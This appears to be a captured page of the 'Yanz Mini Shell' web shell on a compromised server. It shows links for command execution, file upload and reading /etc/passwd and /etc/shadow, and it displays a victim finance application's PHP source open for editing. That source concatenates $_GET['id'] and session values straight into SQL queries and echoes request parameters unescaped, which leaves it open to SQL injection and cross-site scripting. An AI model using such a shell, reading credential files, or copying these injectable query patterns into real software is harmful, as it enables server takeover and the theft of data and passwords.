Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
housgcjs
elaan.net
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $path="admin/orna/"; require_once('admin/orna/db.php'); $sql="select * from `".$MySQL_database."`.rec where id ='".$_GET['id']."'"; $rec=mysqli_fetch_assoc(mysqli_query($connection,$sql)); $admin_sql="select * from `".$MySQL_database."`.users where (type='admin' or type='manager') and name='".$_SESSION['myusername']."' and status='n'"; $admin=mysqli_num_rows(mysqli_query($connection,$admin_sql)); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content=""> <meta name="keyword" content=""> <title>Edit Receiving : ProFinance</title> <script src="assets/js/now.js"></script> <!-- Bootstrap core CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/orna.css" rel="stylesheet"> <!--external css--> <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" /> <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" /> <!-- Custom styles for this template --> <link href="assets/css/style.css" rel="stylesheet"> <link href="assets/css/style-responsive.css" rel="stylesheet"> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <section id="container" > <!--header start--> <?php require_once('inc-core/header.inc')?> <!--header end--> <!--sidebar start--> <?php require_once('inc-core/side-bar.inc');?> <!--sidebar end--> <!--main content start--> <section id="main-content"> <section class="wrapper site-min-height"> <div class="loading"></div> <table class="table table-striped table-advance table-hover"> <thead> <tr> <th class="col-md-12"> <a href="#"> <button class="btn btn-success btn-xs" id="rec_ed"><i class="fa fa-save"></i> Update</button> <?php if($admin>=1){ print"<button class=\"btn btn-theme btn-xs\" id=\"adjustment_receipt\"><i class=\"fa fa-unlock\"></i> Adjustment </button>"; } ?> </a> </th> </tr> </thead> </table> <!--content-start--> <div id="form-wrapper"> <form class="form-inline" id="form_rec" role="form" action="admin/ajax/php/sv.php?t_name1=rec&count=1&row=single&file=false&flimit=0&log=y" method="POST"> <div class="row"> <div class="col-sm-12"> <div class="col-sm-6 center"> <h4 id="title">Edit Receiving</h4> <p>You are not allowed to change the receipt type.</p> </div> <div class="col-sm-6 left"> Payers Details: <div id="payer_detail" style="width:100%;background-color:white;border:1px solid silver;padding:10px;height:115px;overflow:scroll;overflow-y: scroll;overflow-x: hidden;"></div> </div> </div> <div class="col-sm-2"> Date: <input type="date" name="rdate" id="rdate" value="<?php echo date('Y-m-d'); ?>" class="form-control focus" required/> </div> <div class="col-sm-2"> Receiving Type: <select name="rtype" class="form-control typ" required disabled> <option value="cash" id="0003-0005-0015" data='cr'>Cash</option> <option value="bank" id="0006" data='br'>Bank</option> <option value="Adjustment" id="" data='ad'>Adjustment</option> </select> <input type="hidden" value="" name="vtype" id="vtype"> <input type="hidden" value="<?php echo date('m/d/Y');?>" name="vdate" id="vdate"> <input type="hidden" value="<?php echo date('m/d/Y');?>" name="sys_dt" id="sys_dt"> <input type="hidden" id="id" name="rec_id" value="<?php echo $_GET['id']?>"> <input type="hidden" id="table" value="<?php echo $_GET['table']?>"> <input type="hidden" value="" name="descp" id="descp"> </div> <div class="col-sm-2"> Against: <select name="rec_aga" class="form-control" id="against" required> <option value="sale">Sales</option> <option value="acc_rec">Account Receivables</option> </select> </div> <?php if($rec['rec_aga']=='sale'){ $against_inv=""; $against_acc=" style='display:none;' "; }else{ $against_inv=" style='display:none;' "; $against_acc=""; } ?> <div class="col-sm-6" id="inv_cont" <?php echo $against_inv;?>> Select Invoice: <select name="sl_m_id" class="form-control" id="inv" required> <option value="000000">Select Invoice</option> <?php $sql1="select sm.mast_id, sm.cs_id, sm.status, sm.total, sm.oth_char, sm.gst_amt, sm.tot_dis, sm.user, sm.dt, sm.inv_dt, cs.nm, cs.suffix, cs.acc_nm from `".$MySQL_database."`.store_out_m sm, `".$MySQL_database."`.cust_sup cs where sm.del='N' and cs.id=sm.cs_id order by cs.nm"; $query1=mysqli_query($connection,$sql1); while($inv=mysqli_fetch_assoc($query1)){ $sqlrec="select * from `".$MySQL_database."`.rec where sl_m_id = '".$inv['mast_id']."'"; $queryrec=mysqli_query($connection,$sqlrec); $recamt=0; while($rec_amt=mysqli_fetch_assoc($queryrec)){ $recamt+=$rec_amt['amt']; } $suffix=""; if($inv['suffix']!=""){ $suffix=" - ".$inv['suffix']; } print"<option value=\""; echo $inv['mast_id']; print"\" data=\""; echo $inv['acc_nm']; print"\">"; echo $inv['nm'].$suffix.' - '.$inv['inv_dt'].' - '.$inv['mast_id'].'------------------'.number_format((($inv['total']+$inv['oth_char'])-$inv['tot_dis'])-$recamt).'/-'; print"</option>";} ?> </select> </div> <div class="col-sm-6" id="acc_cont" <?php echo $against_acc;?>> Select Account: <select name="acc_nm" class="form-control" id="acc" required> <option selected="selected" value=" ">Select Account</option> <?php $sql_groups = "select * from `".$MySQL_database."`.acc_sub where acc_nm_s in".rec." order by title ASC"; $query_group=mysqli_query($connection,$sql_groups); while($group=mysqli_fetch_assoc($query_group)){ print "<optgroup label=\"".$group['title']."\">"; $sql3="select * from `".$MySQL_database."`.acc_mast where acc_nm_s ='".$group['acc_nm_s']."' order by title ASC"; $query3=mysqli_query($connection,$sql3); while($acc=mysqli_fetch_assoc($query3)){ print"<option value=\""; echo $acc['acc_nm']; print"\">"; echo $acc['title']; print"</option>"; } } print "</optgroup>"; ?> </select> </div> <div class="clearfix"></div> <?php if($rec['rtype']=='cash' || $rec['rtype']=='adjustment'){ ?> <div class="col-sm-12" id="payer"> Payer: <input type="text" class="form-control" placeholder="Payer Name / Description" name="pyee" id="pyee" required> </div> <?php }else{ ?> <div id="bank"> <div class="col-sm-4" id="payer"> Payer: <input type="text" class="form-control" placeholder="Payer Name / Description" name="pyee" id="pyee" required> </div> <div class="col-sm-4"> Payer's Bank Name: <input type="text" class="form-control" placeholder="Bank Name / Description" name="bank_nm" required> </div> <div class="col-sm-2"> Cheque No: <input type="text" class="form-control" pattern="[0-9]{10}" placeholder="Cheque No" name="chq_no" id="chq_no" required> </div> <div class="col-sm-2"> Cheque Date: <input type="date" name="chq_dt" id="chq_dt" value="<?php echo date('Y-m-d'); ?>" class="form-control" required/> </div> </div> <?php } ?> <div class="clearfix"></div> <?php if($rec['rtype']=='cash'){ ?> <div class="col-sm-6"> Amount Debited to Account: <select name="debit_acc_nm" class="form-control" id="cash_acc" disabled> <option value="<?php echo cih;?>">Cash In-hand</option> </select> </div> <?php } else if ($rec['rtype']=='Adjustment'){ ?> <div class="col-sm-6"> Amount Debited to Account: <select name="debit_acc_nm" class="form-control adjustment_select" id="cash_acc" required> <option selected="selected" value="">Select Account</option> <?php $sql3="select * from `".$MySQL_database."`.acc_mast order by title ASC"; $query3=mysqli_query($connection,$sql3); while($acc=mysqli_fetch_assoc($query3)){ print"<option value=\""; echo $acc['acc_nm']; print"\">"; echo $acc['title']; print"</option>";}?> </select> </div> <?php } else if($rec['rtype']=='bank'){ ?> <div class="col-sm-6"> Amount Debited to Account: <select name="debit_acc_nm" class="form-control" id="cash_acc"> <?php $sql_bnk="select * from `".$MySQL_database."`.acc_mast where acc_nm_s ='0006'"; $query_bnk=mysqli_query($connection,$sql_bnk); while($bnk=mysqli_fetch_assoc($query_bnk)){ print "<option value=\"".$bnk['acc_nm']."\">".$bnk['title']."</option>"; } ?> </select> </div> <?php } ?> <div class="col-sm-3"> Receive Amount: <input type="text" class="form-control" id="rec_amt" pattern="[0-9]{10}" placeholder="Receive Amount" name="amt" required> </div> <div class="col-sm-3"> Balance Amount: <input type="text" class="form-control" id="bal" placeholder="Balance Amount" name="bal" readonly> <input type="hidden" id="bal_amt"> </div> </div> </form> </div> <!--content-end--> </section><!--/wrapper --> </section><!-- /MAIN CONTENT --> <!--main content end--> <!--footer start--> <footer class="site-footer"> <div class="text-center"> <?php echo date('Y');?> - ProFinance TM <a href="#" class="go-top"> <i class="fa fa-angle-up"></i> </a> </div> </footer> <!--footer end--> </section> <!-- js placed at the end of the document so the pages load faster --> <script src="assets/js/jquery.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script> <script src="assets/js/jquery.ui.touch-punch.min.js"></script> <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script> <script src="assets/js/jquery.scrollTo.min.js"></script> <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script> <!--script for this page--> <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script> <script src="admin/ajax/js/rec.js" type="text/javascript"></script> <script src="admin/ajax/js/update.js"></script> <!--common script for all pages--> <script src="assets/js/common-scripts.js"></script> </body> </html>
Free Space : 77943013376 Byte